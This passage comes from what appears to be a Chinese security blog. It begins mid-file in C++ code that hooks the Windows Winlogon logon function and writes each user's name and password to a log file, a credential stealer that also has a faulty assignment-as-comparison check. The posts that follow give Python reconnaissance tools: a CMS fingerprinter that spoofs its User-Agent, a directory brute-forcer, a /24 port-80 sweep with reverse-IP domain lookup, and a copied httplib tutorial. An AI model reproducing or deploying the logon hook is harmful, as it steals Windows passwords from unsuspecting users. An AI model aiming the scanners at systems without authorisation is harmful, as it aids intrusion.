    wsprintf( buffer , "\r\n%d/%d/%d/%d:%d:%d" ,
        st.wYear ,
        st.wMonth ,
        st.wDay ,
        st.wHour ,
        st.wMinute,
        st.wSecond 
        );
    WriteFile( hfile , buffer , lstrlen( buffer ) ,  &ret , 0 );
}

int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi)
{
    //MessageBox(0,"WideToByte","---",MB_OK);
    return WideCharToMultiByte( CP_ACP ,
        WC_COMPOSITECHECK ,
        sz_source ,
        -1 ,
        sz_target ,
        size_ansi ,
        0 ,
        0 );
}
//================================================Hook后,预调用的函数=============================
//自定义WlxLoggedOutSAS函数,用于替换原函数,所以参数表与原函数完全一致
int WINAPI FunNewWlxLoggedOutSAS(
                 PVOID                   pWlxContext,
                 DWORD                   dwSasType,
                 PLUID                   pAuthenticationId,
                 PSID                    pLogonSid,
                 PDWORD                  pdwOptions,
                 PHANDLE                 phToken,
                 PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                 PVOID *                 pProfile
)
{
    UnHookWlxLoggedOutSAS();
    //hooktable.OldWlxLoggedOutSAS即为原WlxLoggedOutSAS函数
    int i = hooktable.OldWlxLoggedOutSAS(pWlxContext  ,
                                        dwSasType , 
                                        pAuthenticationId ,
                                        pLogonSid ,
                                        pdwOptions ,
                                        phToken ,
                                        pNprNotifyInfo,
                                        pProfile
                                        );
    if (i = WLX_SAS_ACTION_LOGON )
    {

        //MessageBoxW( 0 , pNprNotifyInfo->pszUserName , pNprNotifyInfo->pszPassword , MB_OK);
        
        WriteLog( pNprNotifyInfo );
    }
    return i;
}

extern "C" __declspec(dllexport) void __stdcall EventStartup(DWORD Parameter) // extern "C" --C不能小写
{
    //MessageBox( 0 , "开机了" , "通知你" , MB_OK );
    return;
}

extern "C" __declspec(dllexport) void __stdcall EventLogon(DWORD Parameter)
{
    //MessageBox( 0 , "登录了" , "通知你" , MB_OK );
    return;
}

 

python 简易版的CMS识别

发布时间:May 4, 2015 // 分类:工作日志,代码学习,python // No Comments

早上朋友发给我这么一组数据,说是关于CMS识别的。问我是不是可以搞一个类似的出来

/member/images/dzh_logo.gif|dedecms|412f80bbedc1e3c62b7f5a5038a550e6
/images/share.gif|dedecms|cff38608748e421961c19818146241d4
/images/enums.js|dedecms|802e864c70aa6cfd766607a09ef0adf2
/include/demo_log.gif|instant|477efd7284722d6c7d311771389db162
/images/icon_shopping.gif|instant|acc33a6562f545f3d452b8ec33a09092
/js/prototype.js|mangallam|db88937debcf1dcdc1bb7a5d6ff05c39
/images/spacer.gif|mangallam|7236915534503a1c5a27f067b9e0c7a4
/images/admincp/cpicon.gif|mvmmall|5fa5b82e54ccc2be2e66dde9ef3cce0
/admin/css/bootstrap-slider/slider.css|codoforum|5bcd1306020b53f85fa77b2652783254
/admin/css/iCheck/flat/yellow.png|codoforum|334d87b0b6c68d804a7294563ce79791
/images/pay/chinabank.gif|mvmmall|36e82497e38131f07fdd5a6921452ebc
/language/cn/admin/lang.js|mvmmall|7f4afedaf683174cbb502fda58ffa93
/templets/default/images/ico-3.gif|dedecms|fc8945eb46b32113ad0ae510668f115a
/include/dedeajax2.js|dedecms|4479ffed41b6118bdbb9f05fe3e02bb2
/include/dedeajax2.js|dedecms|4479ffed41b6118bdbb9f05fe3e02bb2

早上没空,下午我仔细一看,是按照url |cms |md5hash 这样子来排列的。应该比较简单,但是最后一串的md5值还是不清楚怎么获取的。

#!/usr/bin/python
#-*- coding: utf-8 -*-
import hashlib
import httplib
import sys

def wahtcms(domain):
    f=open(r'cms1.txt','r')
    #open cms.txt to have some CMS
    urls = f.readlines()
    f.close()
    for url in urls:
        ur1,service,hashs = url.split('|',2)
        connection = httplib.HTTPConnection(domain,80,timeout=10)
        connection.request("GET",ur1)
        response = connection.getresponse()
        server = response.msg['Server']
        #X-Powered-By: WAF/2.0  .msg['X-Powered-By']
        #因为现在的WAF会造成误报
        data=response.reason
        if "OK" in data:
            if hashlib.md5(response.read()).hexdigest()!='04c89e24302940c24f55301c2257b2e9':
        #   这里04c89e24302940c24f55301c2257b2e9是404错误的
        #   这里的md5值计算了和给出的没有一个是相同的。
                print domain + " is " + service +" and Server is " + server
        connection.close()


if __name__ == "__main__":
    commandargs = sys.argv[1:]
    domain = "".join(commandargs)
    wahtcms(domain)

由于不知道最后一串的md5是计算的什么地方的。所以误报就很多很多了。(PS:反过来看到自己是拿status状态码来判断也是醉了。)

这个误报都吧自己给弄哭了~但是这个思路是可以用在目录扫描上倒是真的。

#!/usr/bin/python
#-*- coding: utf-8 -*-
import hashlib
import httplib
import sys

def wahtcms(domain):
    f=open(r'cms1.txt','r')
    #open cms.txt to have some CMS
    urls = f.readlines()
    f.close()
    for url in urls:
        ur1,service,hashs = url.split('|',2)
        connection = httplib.HTTPConnection(domain,80,timeout=2)
        connection.request("GET",ur1)
        response = connection.getresponse()
        server = response.msg['Server']
        #X-Powered-By: WAF/2.0  .msg['X-Powered-By']
        #因为现在的WAF会造成误报
        data=response.reason
        if "OK" in data:
            if hashlib.md5(response.read()).hexdigest()!='04c89e24302940c24f55301c2257b2e9':
        #   这里04c89e24302940c24f55301c2257b2e9是404错误的
        #   这里的md5值计算了和给出的没有一个是相同的。
                print domain + " is " + service +" and Server is " + server
        connection.close()

def scan(domain):
    s = open(r'dict/dir.txt','r')
    urls = s.readlines()
    s.close()
    for url in urls:
        connection = httplib.HTTPConnection(domain,80,timeout=2)
        connection.request("GET","/"+url)
        response = connection.getresponse()
        data = response.reason
        if "OK" in data or "Forbidden" in data:
            print "Found http://"+domain + "/"+url
        connection.close()


if __name__ == "__main__":
    commandargs = sys.argv[1:]
    domain = "".join(commandargs)
    scan(domain)

 

更新。使用https://github.com/chuhades/CMS-Exploit-Framework/blob/master/plugins/multi/whatweb.py进行修改

#!/usr/bin/env python
# coding=utf-8
import os
import re
import json
import random
import hashlib
import requests

domain = '0cx.cc'

'''
def finger(domain):
    with open('whatweb.json') as f:
        c = f.read()
        b = json.loads(c)
        for cms in b:
            #print cms
            for rule in b[cms]:
                print rule['url']

'''
class WhatWeb(object):
    """
    CMS 识别
    """
    def get_user_agent(self):
        user_agents = [
            "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
            "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
            "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
            "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
            "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
            "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
            "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
            "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
            "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
            "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
            "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
            "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
            "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",]
        return random.choice(user_agents)

    def __init__(self, url):
        self.cms = []
        with open("whatweb.json") as f:
            self.rules = json.load(f)
            for cms in self.rules:
                self.cms.append(cms)
        self.url = url
        self.result = ""

    def run(self):
        """
        识别 CMS
        :param cms: str, CMS 名称
        :return: str, CMS 名称
        """
        headers = {'User-Agent': self.get_user_agent()}
        for cms in self.cms:
            for rule in self.rules[cms]:
                try:
                    #print (self.url + rule["url"] + cms)
                    r = requests.get(self.url + rule["url"], timeout=15, headers=headers, verify=False)
                    r.encoding = r.apparent_encoding
                    r.close()
                    if ("md5" in rule
                        and hashlib.md5(r.content).hexdigest() == rule["md5"]) \
                            or ("field" in rule and rule["field"] in r.headers
                                and rule["value"] in r.headers[rule["field"]]) \
                            or ("text" in rule and rule["text"] in r.text) \
                            or ("regexp" in rule
                                and re.search(rule["regexp"], r.text)):
                        return cms

                except Exception:
                    pass

if __name__ == '__main__':
    URL = 'http://0day5.com'
    w = WhatWeb(URL)
    result = w.run()
    print result

python--httplib模块使用

发布时间:May 4, 2015 // 分类:代码学习,python,转帖文章 // No Comments

httplib是一个相对底层的http请求模块,其上有专门的包装模块,如urllib内建模块,goto等第三方模块,但是封装的越高就越不灵活,比如urllib模块里请求错误时就不会返回结果页的内容,只有头信息,对于某些需要检测错误请求返回值的场景就不适用,所以就得用这个模块了。

 

1、class httplib.HTTPConnection

说明:
该类用于创建一个http类型的请求链接

原型:
HTTPConnection(host[, port[, strict[, timeout]]])
host: 请求的服务器host,不能带http://开头
port: 服务器web服务端口
strict: 是否严格检查请求的状态行,就是http1.0/1.1 协议版本的那一行,即请求的第一行,默认为False,为True时检查错误会抛异常
timeout: 单次请求的超时时间,没有时默认使用httplib模块内的全局的超时时间

实例:
conn1 = HTTPConnection('www.baidu.com:80')
conn2 = HTTPconnection('www.baidu.com',80)
conn3 = HTTPConnection('www.baidu.com',80,True,10)
错误实例:
conn3 = HTTPConnection('www.baidu.com:80',True,10)

返回:
HTTPConnection类会实例并返回一个HTTPConnection对象


2、class httplib.HTTPSConnection
说明:
该类用于创建一个https类型的请求链接

原型:
HTTPSConnection(host[, port[, key_file[, cert_file[, strict[, timeout]]]]])
key_file:一个包含PEM格式的私钥文件
cert_file:一个包含PEM格式的认证文件
other:其它同http参数

实例:

conn3 = HTTPSConnection('accounts.google.com',443,key_file,cert_file,True,10)  

返回:
同样返回一个HTTPSConnection对象

注意:
要创建https链接,必须要保证底层的socket模块是支持ssl的编译模式,即编译时ssl选项的开关是开着的


3、HTTPConnection对象request方法:
说明:
发送一个请求

原型:
conn.request(method, url[, body[, headers]])
method: 请求的方式,如'GET','POST','HEAD','PUT','DELETE'等
url: 请求的网页路径。如:'/index.html'
body: 请求是否带数据,该参数是一个字典
headers: 请求是否带头信息,该参数是一个字典,不过键的名字是指定的http头关键字

实例:

conn.request('GET', '/', '', {'user-agent':'test'})  

返回:
无返回,其实就是相对于向服务其发送数据,但是没有最后回车


4、HTTPConnection对象getresponse方法
说明:
获取一个http响应对象,相当于执行最后的2个回车

原型/实例:

res = conn.getresponse()  

返回:
HTTPResponse对象


5、HTTPConnection对象close()方法
说明:
关闭指定的httpconnect链接

实例:

conn.close()  

6、HTTPResponse对象read方法
说明:
获得http响应的内容部分,即网页源码

原型:
body = res.read([amt])
amt: 读取指定长度的字符,默认为空,即读取所有内容

实例:

body = res.read()
pbody = res.read(10)

返回:
网页内容字符串


7、HTTPResponse对象的其它方法或属性
方法:
getheaders()
获得所有的响应头内容,是一个元组列表[(name,value),(name2,value2)]
getheader(name[,default])
获得指定的头内容
fileno()
socket的fileno

属性:
msg
所有的头信息,和getheaders方法一样,只不过这个是原始未处理的字符串
status
当次请求的状态
version
当次请求的http协议版本,10是http1.0, 11是http/1.1
reason
当次请求的结果的表述内容,200是ok,404是Not Found

总体实例:

#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
import httplib
import urllib

 
def sendhttp():
    data = urllib.urlencode({'@number': 12524, '@type': 'issue', '@action': 'show'})   
    headers = {"Content-type": "application/x-www-form-urlencoded",
               "Accept": "text/plain"}
    conn = httplib.HTTPConnection('bugs.python.org')
    conn.request('POST', '/', data, headers)
    httpres = conn.getresponse()
    print httpres.status
    print httpres.reason
    print httpres.read()
           
              
if __name__ == '__main__':  
    sendhttp() 

当然还有其它的一些信息,比如异常类型,比如http的code对应表及查询字典等等,可以直接参考官网httplib文档:http://docs.python.org/library/httplib.html
from:http://blog.csdn.net/five3/article/details/7078951

python利用爱站查询C段域名的脚本

发布时间:May 2, 2015 // 分类:工作日志,运维工作,代码学习,python // No Comments

#-*- coding: utf-8 -*-
'''
利用爱站进行轮询查询整个C段内的网站
'''
  
import socket
import sys
import json
import requests
import re
import time
import thread
 
def scan(ip_str):
    '''
    检测扫描端口是否开启
    然后利用aizhan旁站进行遍历
    '''
    port = '80'
    cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    address=(str(ip_str),int(port))
    status = cs.connect_ex((address))
    #若返回的结果为0表示端口开启
    if(status == 0):
        cs2 = {'r' : 'index/domains' , 'ip' : ip_str}
        res2 = requests.get("http://dns.aizhan.com/index.php", params=cs2)
        ys = re.findall(r'"maxpage":(\d{1}),',res2.content)
        if(len(ys)==0):#如果不测量长度,就会报错IndexError: list index out of range
            print "%s" %(ip_str)
        elif(len(ys)>0):
            i=1
            while (i <= int(ys[0])):
                cs3 = {'r' : 'index/domains' , 'ip' : ip_str , 'page' : i}
                i +=1
                res3 = requests.get("http://dns.aizhan.com/index.php", params=cs3)
                url = json.loads(res3.content)['domains']
                print "%s" %(ip_str)
                for zhurl in url:
                    print zhurl   


    cs.close()
      
def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(0.3)
       
if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)    
     
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...